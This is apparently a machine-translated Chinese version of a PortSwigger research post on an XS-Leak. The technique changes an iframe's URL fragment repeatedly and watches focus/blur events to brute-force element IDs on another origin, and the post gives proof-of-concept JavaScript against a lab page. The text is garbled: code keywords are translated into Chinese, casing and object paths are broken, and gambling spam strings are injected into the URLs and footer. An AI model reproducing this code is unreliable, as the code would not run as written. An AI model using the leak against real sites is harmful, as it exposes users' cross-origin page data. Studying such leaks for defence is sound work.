XS-Leak:使用焦点泄漏ID

跨站点泄漏显示管道图片泄漏代码

当我正在建造XSS作弊地图我在Chrome和Safari中发现了一些有趣的行为。对于某些HTML元素,如果您在URL片段中指定其ID,它将滚动到该元素并发射焦点事件。可以使用iFrame触发跨域。我认为这可能会被滥用以创建一个XS-Leakbruteforce ids跨域。我可以一次加载目标域,然后多次修改Hash,并且由于Hash未发送到服务器,您只会发布一个请求,一旦找到有效的ID,焦点事件将触发。例如,假设我们想发现以下输入元素在网站上来自其他域中具有的ID。

<输入ID = 1337>

我们可以加载包含元素的URL,然后负载事件射击我们可以更改哈希,如果焦点事件发射,我们找到了正确的ID,如果不增加值并再次检查。

这是概念证明的细分:

窗口事件用于检测目标元素是否具有焦点。


DIV元素用于显示当前的ID位置正在检查,因此您可以实时观察攻击。


当射击模糊事件时,发现的标志将设置为设置,表明我们有重点。

position_of_current_id = 1000;
找到= false;

我创建一个指向目标域的iframe,以及负载事件称为我们调用TryNextID函数。

var iframe = document.createelement('iframe');
iframe.src ='http://subdomain1beplay官网可以赌.portswigger-labs.net/x-domain_leak_focus/test2.html';
document.body.body.appendchild(iframe);
iframe.onload = trynextid;

TryNextID函数显示当前位置,然后将哈希变为下一个潜在ID。如果找不到ID,则候选ID会增加并Settimeout在50毫秒后被称为。

函数trynextid(){
如果(!找到){
document.getElementById('y')。textContent = position_of_current_id;
iframe.src ='http://subdomain1beplay官网可以赌.portswigger-labs.net/x- domain_leak_focus/test2.html#'+position_of_current_id;
timer = settimeout(function(){
if(!找到&& position_of_current_id <2000){
position_of_current_id ++;
}
trynextid();
},50);
}
}

这是在Chrome或Safari上起作用的概念证明。

XS-Leak焦点概念证明


回到所有文章

相关的研究

每日Swig的推荐故事beplay2018官网